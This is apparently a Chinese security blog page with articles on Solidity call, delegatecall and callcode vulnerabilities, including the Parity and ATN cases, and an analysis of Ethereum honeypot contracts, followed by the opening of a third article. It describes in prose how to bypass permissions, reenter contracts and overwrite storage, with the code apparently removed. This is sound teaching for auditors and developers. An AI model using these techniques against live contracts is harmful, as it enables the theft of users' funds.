    由此本文主要是针对 Solidity 合约调用函数call、delegatecall、callcode 三种调用方式的异同、滥用导致的漏洞模型并结合实际案例进行分析介绍。

    0x01 Solidity 的三种调用函数

    在 Solidity 中，call 函数簇可以实现跨合约的函数调用功能，其中包括 call、delegatecall 和 callcode 三种方式。

    以下是 Solidity 中 call 函数簇的调用模型：

    这些函数提供了灵活的方式与合约进行交互，并且可以接受任何长度、任何类型的参数，其传入的参数会被填充至 32 字节最后拼接为一个字符串序列，由 EVM 解析执行。

    在函数调用的过程中， Solidity 中的内置变量 msg 会随着调用的发起而改变，msg 保存了调用方的信息包括：调用发起的地址，交易金额，被调用函数字符序列等。

    三种调用方式的异同点

    • call: 最常用的调用方式，调用后内置变量 msg 的值会修改为调用者，执行环境为被调用者的运行环境(合约的 storage)。
    • delegatecall: 调用后内置变量 msg 的值不会修改为调用者，但执行环境为调用者的运行环境。
    • callcode: 调用后内置变量 msg 的值会修改为调用者，但执行环境为调用者的运行环境。

    通过下面的例子对比三种调用方式，在 remix 部署调试，部署地址为 0xca35b7d915458ef540ade6068dfe2f44e8fa733c：

    在部署后可以看到合约 A 的变量值： temp1 = 0x0, temp2 = 0x0，同样合约 B 的变量值也是： temp1 = 0x0, temp2 = 0x0。

    现在调用语句1 call 方式，观察变量的值发现合约 A 中变量值为 0x0，而被调用者合约 B 中的 temp1 = address(A), temp2 = 100：

    现在调用语句2 delegatecall 方式，观察变量的值发现合约 B 中变量值为 0x0，而调用者合约 A 中的 temp1 = 0xca35b7d915458ef540ade6068dfe2f44e8fa733c, temp2 = 100：

    现在调用语句3 callcode 方式，观察变量的值发现合约 B 中变量值为 0x0，而调用者合约 A 中的 temp1 = address(A), temp2 = 100：

    0x02 delegatecall 「滥用」问题

    delegatecall: 调用后内置变量 msg 的值不会修改为调用者，但执行环境为调用者的运行环境。

    原理

    在智能合约的开发过程中，合约的相互调用是经常发生的。开发者为了实现某些功能会调用另一个合约的函数。比如下面的例子，调用一个合约 A 的 test() 函数，这是一个正常安全的调用。

    但是在实际开发过程中，开发者为了兼顾代码的灵活性，往往会有下面这种写法：

    这将引起任意 public 函数调用的问题：合约中的 delegatecall 的调用地址和调用的字符序列都由用户传入，那么完全可以调用任意地址的函数。

    除此之外，由于 delegatecall 的执行环境为调用者环境，当调用者和被调用者有相同变量时，如果被调用的函数对变量值进行修改，那么修改的是调用者中的变量。

    利用模型

    下面的例子中 B 合约是业务逻辑合约，其中存在一个任意地址的 delegatecall 调用。

    攻击者对应这种合约可以编写一个 Attack 合约，然后精心构造字节序列(将注释部分的攻击代码转换为字节序列)，通过调用合约 B 的 delegatecall，最终调用 Attack 合约中的函数，下面是 Attack 合约的例子：

    对于 delegatecall 「滥用」的问题，实际的漏洞效果取决于 Attack 合约中的攻击代码，可能造成的安全问题包括：

    1. 攻击者编写一个转账的函数，窃取合约 B 的货币
    2. 攻击者编写设置合约拥有者的函数，修改合约 B 的拥有者

    delegatecall 安全问题案例

    Parity MultiSig钱包事件

    2017.7.20，Parity Multisig电子钱包版本 1.5+ 的漏洞被发现，使得攻击者从三个高安全的多重签名合约中窃取到超过 15 万 ETH ，按照当时的 ETH 价格来算，大约为 3000 万美元。

    其事件原因是由于未做限制的 delegatecall 可以调用 WalletLibrary 合约的任意函数，并且其钱包初始化函数未做校验，导致初始化函数可以重复调用。攻击者利用这两个条件，通过 delegatecall 调用 initWallet() 函数，最终修改了合约拥有者，并将合约中的以太币转到自己的账户下。

    下面是存在安全问题的代码片段：
    (Github/parity: https://github.com/paritytech/parity/blob/4d08e7b0aec46443bf26547b17d10cb302672835/js/src/contracts/snippets/enhanced-wallet.sol)

    a. delegatecall 调用代码：
    (contract Wallet is WalletEvents)

    b. initWallet() 与 initMultiowned() 代码片段：
    (contract WalletLibrary is WalletEvents)

    其中钱包初始化函数 initMultiowned() 未做校验，可以被多次调用，存在安全隐患，但由于其位于 WalletLibrary 合约下，是不能直接调用的。黑客利用 Wallet 合约中的 delegatecall 调用 WalletLibrary 合约的 initWallet() 函数，初始化整个钱包，将合约拥有者修改为仅黑客一人，随后进行转账操作。

    黑客攻击链：

    除了上述 delegatecall 滥用的案例，在分析研究的过程中，发现有部分蜜罐合约利用 delegatecall 的特性(拷贝目标到自己的运行空间中执行)，在代码中暗藏后门，暗中修改转账地址，导致用户丢失货币。有关 delegatecall 蜜罐的详情请参考「以太坊蜜罐智能合约分析」，其中的 「4.2 偷梁换柱的地址(访问控制)：firstTest」小节。

    0x03 call 安全问题

    call: 最常用的调用方式，调用后内置变量 msg 的值会修改为调用者，执行环境为被调用者的运行环境。

    call 注入是一种新的攻击场景，由「隐形人真忙」在先知大会上演讲「智能合约消息调用攻防」议题上提出，原因是对 call 调用处理不当，配合一定的应用场景的一种攻击手段。

    call 注入原理

    call 调用修改 msg.sender 值
    通常情况下合约通过 call 来执行来相互调用执行，由于 call 在相互调用过程中内置变量 msg 会随着调用方的改变而改变，这就成为了一个安全隐患，在特定的应用场景下将引发安全问题。

    外部用户通过 call 函数再调用合约函数：

    高度自由的 call 调用

    在某些应用场景下，调用函数可以由用户指定；下面是 call 函数的调用方式：

    从上面可以看出，call 函数拥有极大的自由度：

    1. 对于一个指定合约地址的 call 调用，可以调用该合约下的任意函数
    2. 如果 call 调用的合约地址由用户指定，那么可以调用任意合约的任意函数

    为了便于理解，可以将智能合约中的 call 函数类比为其他语言中的 eval 函数，call 函数相当于给用户提供了随意调用合约函数的入口，如果合约中有函数以 msg.sender 作为关键变量，那么就会引发安全问题。

    call 函数簇调用自动忽略多余参数
    call 函数簇在调用函数的过程中，会自动忽略多余的参数，这又额外增加了 call 函数簇调用的自由度。下面的例子演示 call 自动忽略多余参数：

    例子中 test() 函数仅接收一个 uint256 的参数，但在 callFunc() 中传入了三个参数，由于 call 自动忽略多余参数，所以成功调用了 test() 函数。

    call 注入模型

    call 注入引起的最根本的原因就是 call 在调用过程中，会将 msg.sender 的值转换为发起调用方的地址，下面的例子描述了 call 注入的攻击模型。

    在合约 B 中存在 info() 和 secret() 函数，其中 secret() 函数只能由合约自己调用，在 info() 中有用户可以控制的 call 调用，用户精心构造传入的数据(将注释转为字节序列)，即可绕过 require() 的限制，成功执行下面的代码。

    对于 call 注入的问题，实际造成的漏洞影响取决于被调用的函数，那么可能的安全问题包括：

    1.权限绕过
    如同上面的例子，合约将合约本身的地址作为权限认证的条件之一，但由于 call 的调用会导致 msg.sender 变量值更新为调用方的值，所以就会引起权限绕过的问题。

    上述例子表示了权限绕过导致的任意用户提取货币。，withdraw() 函数设计的初衷为只能有合约拥有者和合约本身可以发起取款的操作；但由于 call 的问题，只要用户精心拼接字符序列调用 call，从而调用 withdraw() 函数，就可以绕过 isAuth() 并取款。

    2.窃取代币
    在代币合约中，往往会加入一个 call 回调函数，用于通知接收方以完成后续的操作。但由于 call 调用的特性，用户可以向 call 传入 transfer() 函数调用，即可窃取合约地址下代币。

    下面的例子表示了用户传入 transfer() 函数导致窃取代币。

    该例子是代币合约的代码片段，用户传入精心构造的字符序列以通过 call 来调用 transfer() 函数，并传入 transfer() 的参数 _to 为自己的地址；通过 call 调用后， transfer() 函数执行时的 msg.sender 的值已经是合约地址了，_to 地址是用户自己的地址，那么用户就成功窃取了合约地址下的代币。

    call 注入案例

    1.ATN代币增发

    2018.5.11，ATN 技术人员收到异常监控报告，显示 ATN Token 供应量出现异常，通过分析发现 Token 合约由于存在漏洞受到攻击。该事件对应了上文中的第一种利用模型，由于 ATN 代币的合约中的疏漏，该事件中 call 注入不但绕过了权限认证，同时还可以更新合约拥有者。

    在 ATN 项目中使用到了 ERC223 和 ds-auth 库，两个库在单独使用的情况下没有问题，同时使用时就会出现安全问题，以下是存在安全问题的代码片段。 (Github/ATN: https://github.com/ATNIO/atn-contracts)

    a. ERC223 标准中的自定义回调函数：
    (Github/ERC223: https://github.com/Dexaran/ERC223-token-standard)

    b. ds-auth 权限认证和更新合约拥有者函数：
    (Github/ds-auth: https://github.com/dapphub/ds-auth)

    黑客通过调用 transferFrom() 函数，并传入黑客自己的地址作为 _from 参数， ATN 合约的地址作为 _to 参数，并传入 setOwner() 作为回调函数；在执行过程中，由于 call 调用自动忽略多余的参数，黑客的地址将作为 setOwner() 的参数成功执行到函数内部，与此同时，call 调用已经将 msg.sender 转换为了合约本身的地址，也就绕过了 isAuthorized() 的权限认证，黑客成功将合约的拥有者改为了自己；随后调用 Mint() 函数为自己发行代币，最后黑客再次调用 setOwner() 将权限还原，企图销毁作案现场。

    黑客攻击链：

    得力于 ATN 代币团队及时发现问题，并高效的解决问题，此次事件并未对 ATN 代币造成较大的波动；ATN 代币团队封锁了黑客账户，也销毁了由黑客发行的 1100W 个代币，最后在交易所的配合下追踪黑客。

    2.大量代币使用不安全代码

    对于第二种利用模型，在目前公开的智能合约中，仍有不少合约使用这种不安全的代码，为了实现通知接收方以完成后续的操作，加入了一个高度自由的回调函数方法。以下是存在安全隐患的代码片段：

    (etherscan: https://etherscan.io/address/0xbe803e33c0bbd4b672b97158ce21f80c0b6f3aa6#code)

    黑客通过调用 approveAndCallcode() 函数，将合约地址作为 _spender 参数，并将 transfer() 的调用转换为字节序列作为 _extraData 参数，最终调用 transfer() 函数。在 transfer() 函数中，_to 参数为黑客的地址，而此时 msg.sender 的值已经是合约本身的地址了，黑客通过这种方式，成功窃取了合约地址中的代币。

    黑客攻击链：

    对于上述所描述的安全问题目前还不能造成直接的经济损失。在对这类智能合约的审计过程中，发现目前大量的代币合约不会使用到合约本身的地址作为存储单元，也就是说 合约地址所对应的代币量为 0 (balances[address(this)] == 0)。但这种不安全的代码很难猜测到在后续的发展中，会引起什么样的问题，应该保持关注并避免这种不安全的代码。

    0x04 callcode 安全问题

    callcode: 调用后内置变量 msg 的值会修改为调用者，但执行环境为调用者的运行环境。

    由于 callcode 同时包含了 call 和 delegatecall 的特性，通过上文对 call 和 delegatecall 的安全问题进行了分析和举例，可以得出的结论是 call 和 delegatecall 存在的安全问题将同时存在于 callcode 中，这里不再进行详细的分析。

    0x05 总结

    目前，区块链技术极高的热度促使该技术不断的投入到了生产环境中，但还没有完整的技术流水线，也没有统一的行业规范，同时 Solidity 语言现在版本为 0.4.25，还没有发布第一个正式版本，导致基于区块链技术的产品出现各种安全漏洞，部分漏洞可以直接造成经济损失。

    针对文中所提到的安全隐患，这里给开发者几个建议：

    1. call、callcode、delegatecall调用的自由度极大，并且 call 会发生 msg 值的改变，需要谨慎的使用这些底层的函数；同时在使用时，需要对调用的合约地址、可调用的函数做严格的限制。
    2. call 与 callcode 调用会改变 msg 的值，会修改 msg.sender 为调用者合约的地址，所以在合约中不能轻易将合约本身的地址作为可信地址。
    3. delegatecall 与 callcode 会拷贝目标代码到自己的环境中执行，所以调用的函数应该做严格的限制，避开调用任意函数的隐患。
    4. 智能合约在部署前必须通过严格的审计和测试。

     

    针对目前主流的以太坊应用，知道创宇提供专业权威的智能合约审计服务，规避因合约安全问题导致的财产损失，为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队： https://www.scanv.com/lca/index.html
    联系电话：(086) 136 8133 5016(沈经理，工作日:10:00-18:00)

    欢迎扫码咨询：References:


    [1] Solidity: http://solidity.readthedocs.io/en/v0.4.24/
    [2] zeppelin: https://blog.zeppelin.solutions/on-the-parity-wallet-multisig-hack-405a8c12e8f7
    [3] seebug.「智能合约消息调用攻防」: https://paper.seebug.org/625/
    [4] ATN.IO: https://paper.seebug.org/621/
    [5] seebug.DAO攻击事件解析: https://paper.seebug.org/544/
    [6] seebug.智能合约call注入攻击: https://paper.seebug.org/624/
    [7] Github.ATN: https://github.com/ATNIO/atn-contracts
    [8] Github.ERC223: https://github.com/Dexaran/ERC223-token-standard
    [9] Github.ds-auth: https://github.com/dapphub/ds-auth
    [10]The Parity Wallet Hack Explained: https://blog.zeppelin.solutions/on-the-parity-wallet-multisig-hack-405a8c12e8f7
    [11]Github.OpenZeppelin: https://github.com/OpenZeppelin/openzeppelin-solidity/issues/1044
    [12]ethereum.call/callcode/delegatecall: https://ethereum.stackexchange.com/questions/3667/difference-between-call-callcode-and-delegatecall
    [13]Github.parity: https://github.com/paritytech/parity/blob/4d08e7b0aec46443bf26547b17d10cb302672835/js/src/contracts/snippets/enhanced-wallet.sol
    [14]《以太坊技术详解与实战》

    本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/633/

    作者：Nanako | Categories:安全研究、安全科普 | Tags: 、、、
    没有评论

  • 以太坊蜜罐智能合约分析

    2018-08-28

    作者：dawu&0x7F@知道创宇404区块链安全研究团队
    时间：2018/06/26

    0x00 前言

    在学习区块链相关知识的过程中，拜读过一篇很好的文章《The phenomenon of smart contract honeypots》，作者详细分析了他遇到的三种蜜罐智能合约，并将相关智能合约整理收集到Github项目smart-contract-honeypots。

    本文将对文中和评论中提到的 smart-contract-honeypots 和 Solidlity-Vulnerable 项目中的各蜜罐智能合约进行分析，根据分析结果将蜜罐智能合约的欺骗手段分为以下四个方面：

    • 古老的欺骗手段
    • 神奇的逻辑漏洞
    • 新颖的赌博游戏
    • 黑客的漏洞利用

    基于已知的欺骗手段，我们通过内部的以太坊智能合约审计系统一共寻找到 118 个蜜罐智能合约地址，一共骗取了 34.7152916 个以太币（2018/06/26 价值 102946 元人民币），详情请移步文末附录部分。

    0x01 古老的欺骗手段

    对于该类蜜罐合约来说，仅仅使用最原始的欺骗手法。
    这种手法是拙劣的，但也有着一定的诱导性。

    1.1 超长空格的欺骗：WhaleGiveaway1

    在 github 上看到的合约代码如下：

    细读代码会发现 GetFreebie() 的条件很容易被满足:

    只要转账金额大于 1 ether，就可以取走该智能合约里所有的以太币。

    但事实绝非如此，让我们做出错误判断的原因在于 github 在显示超长行时不会自动换行。下图是设置了自动换行的本地编辑器截图：

    图中第 21 行和第 29 行就是蜜罐作者通过 超长空格 隐藏起来的代码。所以实际的 脆弱点 是这样的：

    先将账户余额转给合约的创立者，然后再将剩余的账户余额（也就是0）转给转账的用户（受害者）

    与之类似的智能合约还有 TestToken，留待有兴趣的读者继续分析：

    0x02 神奇的逻辑漏洞

    该类蜜罐合约用 2012年春晚小品《天网恢恢》中这么一段来表现最为合适：

    送餐员： 外卖一共30元
    骗子B： 没零的，100！
    送餐员： 行，我找你......70!（送餐员掏出70给骗子B）
    骗子A： 哎，等会儿等会儿，我这有零的，30是吧，把那100给我吧！给，30！（骗子A拿走了B给送餐员的100元，又给了送餐员30元）
    送餐员： 30元正好，再见!

    该类漏洞也是如此，在看起来正常的逻辑下，总藏着这样那样的陷阱。

    2.1 天上掉下的馅饼：Gift_1_ETH

    整个智能合约的逻辑很简单，三个关键函数功能如下：

    • SetPass(): 在转账大于 1 ether 并且 passHasBeenSet 为 false (默认值就是false),就可以设置密码 hashPass。
    • GetGift(): 在输入的密码加密后与 hashPass 相等的情况下，就可以取走合约里所有的以太币。
    • PassHasBeenSet()：如果输入的 hash 与 hashPass 相等，则 passHasBeenSet 将会被设置成 true。

    如果我们想取走合约里所有的以太币，只需要按照如下流程进行操作：

    推特用户 Alexey Pertsev 还为此写了一个获取礼物的 EXP。

    但实际场景中，受害者转入一个以太币后并没有获取到整个智能合约的余额，这是为什么呢？

    这是因为在合约创立之后，任何人都可以对合约进行操作，包括合约的创建者：

    合约创建者在合约 被攻击 前，设置一个只有创建者知道的密码并将 passHasBeenSet 置为 True，将只有合约创建者可以取出智能合约中的以太币。

    与之类似的智能合约还有 NEW_YEARS_GIFT：

    2.2 合约永远比你有钱：MultiplicatorX3

    对于 multiplicate() 而言，只要你转账的金额大于账户余额，就可以把 账户余额 和 你本次转账的金额 都转给一个可控的地址。

    在这里我们需要知道：在调用 multiplicate() 时，账户余额 = 之前的账户余额 + 本次转账的金额。所以 msg.value >= this.balance 只有在原余额为0，转账数量为0的时候才会成立。也就意味着，账户余额永远不会比转账金额小。

    与之类似的智能合约还有 PINCODE：

    2.3 谁是合约主人：TestBank

    根据关键代码的内容，如果我们可以通过 useEmergencyCode() 中的判断，那就可以将 owner 设置为我们的地址，然后通过 withdraw() 函数就可以取出合约中的以太币。

    如果你也有了上述的分析，那么就需要学习一下 Solidity 中继承的相关知识参考链接5：

    该部分引用自参考链接5
    重点：Solidity的继承原理是代码拷贝，因此换句话说，继承的写法总是能够写成一个单独的合约。
    情况五：子类父类有相同名字的变量。 父类A的test1操纵父类中的variable，子类B中的test2操纵子类中的variable，父类中的test2因为没被调用所以不存在。 解释：对EVM来说，每个storage variable都会有一个唯一标识的slot id。在下面的例子说，虽然都叫做variable，但是从bytecode角度来看，他们是由不同的slot id来确定的，因此也和变量叫什么没有关系。

    根据样例中的代码，我们将该合约的核心代码修改如下：

    变量 owner1 是父类 Owner 中的 owner 变量，而 owner2 是子类 TestBank 中的变量。useEmergencyCode()函数只会修改 owner2，而非 owner1，自然无法调用 withdraw()。 由于调用 useEmergencyCode() 时需要转作者设置的 evalue wei 的以太币，所以只会造成以太币白白丢失。

    0x03 新颖的赌博游戏

    区块链的去中心化给博彩行业带来了新的机遇，然而久赌必输这句话也不无道理。
    本章将会给介绍四个基于区块链的赌博游戏并分析庄家如何赢钱的。

    3.1 加密轮盘赌轮：CryptoRoulette

    该合约设置了一个 1-20 的随机数：secretNumber,玩家通过调用 play() 去尝试竞猜这个数字，如果猜对，就可以取走合约中所有的钱并重新设置随机数 secretNumber。

    这里存在两层猫腻。第一层猫腻就出在这个 play()。play() 需要满足两个条件才会运行：

    1. msg.value >= betPrice，也就是每次竞猜都需要发送至少 0.1 个以太币。
    2. number <= 10，竞猜的数字不能大于 10。

    由于生成的随机数在 1-20 之间，而竞猜的数字不能大于 10， 那么如果随机数大于 10 呢？将不会有人能竞猜成功！所有被用于竞猜的以太币都会一直存储在智能合约中。最终合约拥有者可以通过 kill() 函数取出智能合约中所有的以太币。

    在实际的场景中，我们还遇到过生成的随机数在 1-10 之间，竞猜数字不能大于 10 的智能合约。这样的合约看似保证了正常的竞猜概率，但却依旧是蜜罐智能合约！这与前文说到的第二层猫腻有关。我们将会在下一节 3.2 开放地址彩票：OpenAddressLottery 中说到相关细节。有兴趣的读者可以读完 3.2节 后再回来重新分析一下该合约。

    3.2 开放地址彩票：OpenAddressLottery

    3.2.1 蜜罐智能合约分析

    OpenAddressLottery的逻辑很简单，每次竞猜，都会根据竞猜者的地址随机生成 0 或者 1，如果生成的值和 LuckyNumber 相等的话（LuckyNumber初始值为1），那么竞猜者将会获得 1.9 倍的奖金。

    对于安全研究人员来说，这个合约可能是这些蜜罐智能合约中价值最高的一个。在这里，我将会使用一个 demo 来说一说 Solidity 编译器的一个 bug:

    在运行 test() 之前，addr、b、c、d的值如下图所示：

    在运行了 test() 之后，各值均被覆盖。

    这个 bug 已经被提交给官方，并将在 Solidity 0.5.0 中被修复。

    截止笔者发文，Solidity 0.5.0 依旧没有推出。这也就意味着，目前所有的智能合约都可能会受到该 bug 的影响。我们将会在 3.2.2节 中说一说这个 bug 可能的影响面。想了解蜜罐智能合约而非bug攻击面的读者可以跳过这一小节

    对于该蜜罐智能合约而言，当 forceReseed()被调用后，s.component4 = tx.gasprice * 7; 将会覆盖掉 LuckyNumber 的值，使之为 7。而用户生成的竞猜数字只会是 1 或者 0，这也就意味着用户将永远不可能赢得彩票。

    3.2.2 Solidity 0.4.x 结构体局部变量量引起的变量量覆盖

    在 3.2.1节中，介绍了OpenAddressLottery 智能合约使用未初始化的结构体局部变量直接覆盖智能合约中定义的前几个变量，从而达到修改变量值的目的。

    按照这种思路，特意构造某些参数的顺序，比如将智能合约的余额值放在首部，那么通过变量覆盖就可以修改余额值;除此之外，如果智能合约中常用的 owner 变量定义在首部，便可以造成权限提升。

    示例代码1如下(编译器选择最新的0.4.25-nightly.2018.6.22+commit.9b67bdb3.Emscripten.clang)：

    如图所示，攻击者 0x583031d1113ad414f02576bd6afabfb302140225 在调用 fake_foo() 之后，成功将 owner 修改成自己。

    在 2.3节 中，介绍了 Solidity 的继承原理是代码拷贝。也就是最终都能写成一个单独的合约。这也就意味着，该 bug 也会影响到被继承的父类变量，示例代码2如下：

    相比于示例代码1，示例代码2 更容易出现在现实生活中。由于 示例代码2 配合复杂的逻辑隐蔽性较高，更容易被不良合约发布者利用。比如利用这种特性留 后门。

    在参考链接10中，开发者认为由于某些原因，让编译器通过警告的方式通知用户更合适。所以在目前 0.4.x 版本中，编译器会通过警告的方式通知智能合约开发者；但这种存在安全隐患的代码是可以通过编译并部署的。

    solidity 开发者将在 0.5.0 版本将该类问题归于错误处理。

    3.3 山丘之王：KingOfTheHill

    这个合约的逻辑是：每次请求 fallback()，变量 jackopt 就是加上本次传入的金额。如果你传入的金额大于之前的 jackopt，那么 owner 就会变成你的地址。

    看到这个代码逻辑，你是否感觉和 2.2节 、 2.3节 有一定类似呢？

    让我们先看第一个问题：msg.value > jackopt是否可以成立？答案是肯定的，由于 jackopt+=msg.value 在 msg.value > jackopt 判断之后，所以不会出现 2.2节 合约永远比你钱多的情况。

    然而这个合约存在与 2.3节 同样的问题。在 msg.value > jackopt 的情况下，KingOfTheHill 中的 owner 被修改为发送者的地址，但 Owned 中的 owner 依旧是合约创建人的地址。这也就意味着取钱函数 takeAll() 将永远只有庄家才能调用，所有的账户余额都将会进入庄家的口袋。

    与之类似的智能合约还有 RichestTakeAll：

    3.4 以太币竞争游戏：RACEFORETH

    这个智能合约有趣的地方在于它设置了最大转账上限是 50 finney，最小转账下限是 2 wei(条件是大于 1 wei，也就是最小 2 wei)。每次转账之后，最大转账上限都会缩小成原来的一半，当总转账数量大于等于 100 finney，那就可以取出庄家在初始化智能合约时放进的钱。

    假设我们转账了 x 次，那我们最多可以转的金额如下：

    根据高中的知识可以知道，该数字将会永远小于 100

    而智能合约中设置的赢取条件就是总转账数量大于等于 100 finney。这也就意味着，没有人可以达到赢取的条件！

    0x04 黑客的漏洞利用

    利用重入漏洞的The DAO事件直接导致了以太坊的硬分叉、利用整数溢出漏洞可能导致代币交易出现问题。
    DASP TOP10 中的前三： 重入漏洞、访问控制、算数问题在这些蜜罐智能合约中均有体现。黑客在这场欺诈者的游戏中扮演着不可或缺的角色。

    4.1 私人银行(重入漏洞)：PrivateBank

    了解过 DAO 事件以及重入漏洞可以很明显地看出，CashOut() 存在重入漏洞。

    在了解重入漏洞之前，让我们先了解三个知识点：

    1. Solidity 的代码执行限制。为了防止以太坊网络被攻击或滥用，智能合约执行的每一步都需要消耗 gas，俗称燃料。如果燃料消耗完了但合约没有执行完成，合约状态会回滚。
    2. addr.call.value()()，通过 call() 的方式进行转账，会传递目前所有的 gas 进行调用。
    3. 回退函数fallback(): 回退函数将会在智能合约的 call 中被调用。

    如果我们调用合约中的 CashOut()，关键代码的调用过程如下图：

    由于回退函数可控，如果我们在回退函数中再次调用 CashOut()， 由于满足 _am<=balances[msg.sender] ，将会再次转账，因此不断循环，直至 合约中以太币被转完或 gas 消耗完。

    根据上述分析写出攻击的代码如下：

    模拟的攻击步骤如下：

    1. 正常用户A（地址：0x14723a09acff6d2a60dcdf7aa4aff308fddc160c）向该合约存入 50 ether。
    1. 恶意攻击者 B(地址：0x583031d1113ad414f02576bd6afabfb302140225)新建恶意智能合约Attack，实施攻击。不仅取出了自己存入的 10 ether，还取出了 A 存入的 50 ether。用户 A 的余额还是50 ether，而恶意攻击者 B 的余额也因为发生溢出变成 115792089237316195423570985008687907853269984665640564039407584007913129639936。

    虽然此时用户A的余额仍然存在，但由于合约中已经没有以太币了，所以A将无法取出其存入的50个以太币

    根据以上的案例可以得出如下结论：当普通用户将以太币存取该蜜罐智能合约地址，他的代币将会被恶意攻击者通过重入攻击取出，虽然他依旧能查到在该智能合约中存入的代币数量，但将无法取出相应的代币。

    4.2 偷梁换柱的地址(访问控制)：firstTest

    逻辑看起去很简单，只要在调用 withdrawal() 时发送超过 1 ether，该合约就会把余额全部转给发送者。至于通过 delegatecall() 调用的 logEvent()，谁在意呢？

    在 DASP TOP10 的漏洞中，排名第二的就是访问控制漏洞，其中就说到 delegatecall() 。

    delegatecall() 和 call() 功能类似，区别仅在于 delegatecall() 仅使用给定地址的代码，其它信息则使用当前合约(如存储，余额等等)。这也就意味着调用的 logEvent() 也可以修改该合约中的参数，包括 adr。

    举个例子，在第一个合约中，我们定义了一个变量 adr，在第二个合约中通过 delegatecall() 调用第一个合约中的 logEvent()。第二个合约中的第一个变量就变成了 0x1111。这也就意味着攻击者完全有能力在 logEvent() 里面修改 adr 的值。

    为了验证我们的猜测，使用 evmdis 逆向 0x25df6e3da49f41ef5b99e139c87abc12c3583d13 地址处的 opcode。logEvent() 处的关键逻辑如下：

    翻译成 Solidity 的伪代码大致是：

    这也就意味着，在调用蜜罐智能合约 firstTest 中的 withdrawal() 时，emails.delegatecall(bytes4(sha3("logEvent()"))); 将会判断第一个变量 Owner 是否是 0x46FEEB381E90F7E30635B4F33CE3F6FA8EA6ED9B，如果相等，就把 adr 设置为当前合约的地址。最终将会将该合约中的余额转给当前合约而非消息的发送者。adr 参数被偷梁换柱!

    4.3 仅仅是测试？(整数溢出)：For_Test

    在说逻辑之前，我们需要明白两个概念：

    1. msg.value 的单位是 wei。举个例子，当我们转 1 ether 时，msg.value = 1000000000000000000 (wei)
    2. 当我们使用 var i时，i 的数据类型将是 uint8，这个可以在 Solidity 官方手册上找到。

    如同官方文档所说，当 i = 255 后，执行 i++，将会发生整数溢出，i 的值重新变成 0,这样循环将不会结束。

    根据这个智能合约的内容，只要转超过 0.1 ether 并调用 Test() ，将会进入循环最终得到 amountToTransfer 的值，并将 amountToTransfer wei 发送给访问者。在不考虑整数溢出的情况下，amountToTransfer 将会是 msg.value * 2。这也是这个蜜罐合约吸引人的地方。

    正是由于 for 循环中的 i 存在整数溢出，在 i=255 执行 i++ 后, i = 0 导致 multi = 0 < amountToTransfer,提前终止了循环。

    细细算来，转账至少了 0.1 ether(100000000000000000 wei) 的以太币，该智能合约转回 510 wei 以太币。损失巨大。

    与之类似的智能合约还有 Test1：

    4.4 股息分配（老版本编译器漏洞）：DividendDistributor

    该智能合约大致有存钱、计算利息、取钱等操作。在最开始的分析中，笔者并未在整个合约中找到任何存在漏洞、不正常的地方，使用 Remix 模拟也没有出现任何问题，一度怀疑该合约是否真的是蜜罐。直到打开了智能合约地址对应的页面：

    在 Solidity 0.4.12 之前，存在一个bug，如果空字符串 "" 用作函数调用的参数，则编码器会跳过它。

    举例：当我们调用了 send(from,to,"",amount)， 经过编译器处理后的调用则是 send(from,to,amount)。 编写测试代码如下：

    在 Remix 中将编译器版本修改为 0.4.11+commit.68ef5810.Emscripten.clang后，执行 divest() 函数结果如下：

    在这个智能合约中也是如此。当我们需要调用 divest() 取出我们存进去的钱，最终将会调用 this.loggedTransfer(amount, "", msg.sender, owner);。

    因为编译器的 bug，最终调用的是 this.loggedTransfer(amount, msg.sender, owner);，具体的转账函数处就是 owner.call.value(amount) 。成功的将原本要转给 msg.sender()的以太币转给 合约的拥有者。合约拥有者成功盗币！

    0x05 后记

    在分析过程中，我愈发认识到这些蜜罐智能合约与原始的蜜罐概念是有一定差别的。相较于蜜罐是诱导攻击者进行攻击，智能合约蜜罐的目的变成了诱导别人转账到合约地址。在欺骗手法上，也有了更多的方式,部分方式具有强烈的参考价值，值得学习。

    这些蜜罐智能合约的目的性更强，显著区别与普通的 钓鱼 行为。相较于钓鱼行为面向大众，蜜罐智能合约主要面向的是 智能合约开发者、智能合约代码审计人员 或 拥有一定技术背景的黑客。因为蜜罐智能合约门槛更高，需要能够看懂智能合约才可能会上当，非常有针对性，所以使用 蜜罐 这个词，我认为是非常贴切的。

    这也对 智能合约代码审计人员 提出了更高的要求，不能只看懂代码，要了解代码潜在的逻辑和威胁、了解外部可能的影响面（例如编辑器 bug 等），才能知其然也知其所以然。

    对于 智能合约代码开发者 来说，先知攻 才能在代码写出前就拥有一定的警惕心理，从源头上减少存在漏洞的代码。

    目前智能合约正处于新生阶段，流行的 solidity 语言也还没有发布正式 1.0 版本，很多语⾔的特性还需要发掘和完善；同时，区块链的相关业务也暂时没有出现完善的流水线操作。正因如此，在当前这个阶段智能合约代码审计更是相当的重要，合约的部署一定要经过严格的代码审计。

    最后感谢 404实验室 的每一位小伙伴，分析过程中的无数次沟通交流，让这篇文章羽翼渐丰。

    针对目前主流的以太坊应用，知道创宇提供专业权威的智能合约审计服务，规避因合约安全问题导致的财产损失，为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队： https://www.scanv.com/lca/index.html
    联系电话：(086) 136 8133 5016(沈经理，工作日:10:00-18:00)

    欢迎扫码咨询：

    0x06 参考链接

    1. Github smart-contract-honeypots
    2. Github Solidlity-Vulnerable
    3. The phenomenon of smart contract honeypots
    4. Solidity 中文手册
    5. Solidity原理（一）：继承(Inheritance)
    6. 区块链安全 - DAO攻击事件解析
    7. 以太坊智能合约安全入门了解一下
    8. Exposing Ethereum Honeypots
    9. Solidity Bug Info
    10. Uninitialised storage references should not be allowed

    0x07 附录：已知蜜罐智能合约地址以及交易情况

    基于已知的欺骗手段，我们通过内部的以太坊智能合约审计系统一共寻找到 118 个蜜罐智能合约地址，具体结果如下：

    下载地址：下载

    本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/631/

    作者：Nanako | Categories:安全研究、技术分享 | Tags: 、、
    没有评论

  • 从以太坊”MorphToken事件”看智能合约构造函数大小写编码错误漏洞

    2018-08-28

    作者：fenix@知道创宇404区块链安全研究团队
    时间：2018年6月22日

    一、漏洞概述

    以太坊智能合约的含义就是一组代码（函数）和数据（合约的状态），它们位于以太坊区块链的一个特定地址上。智能合约一般使用solidity语言编写。

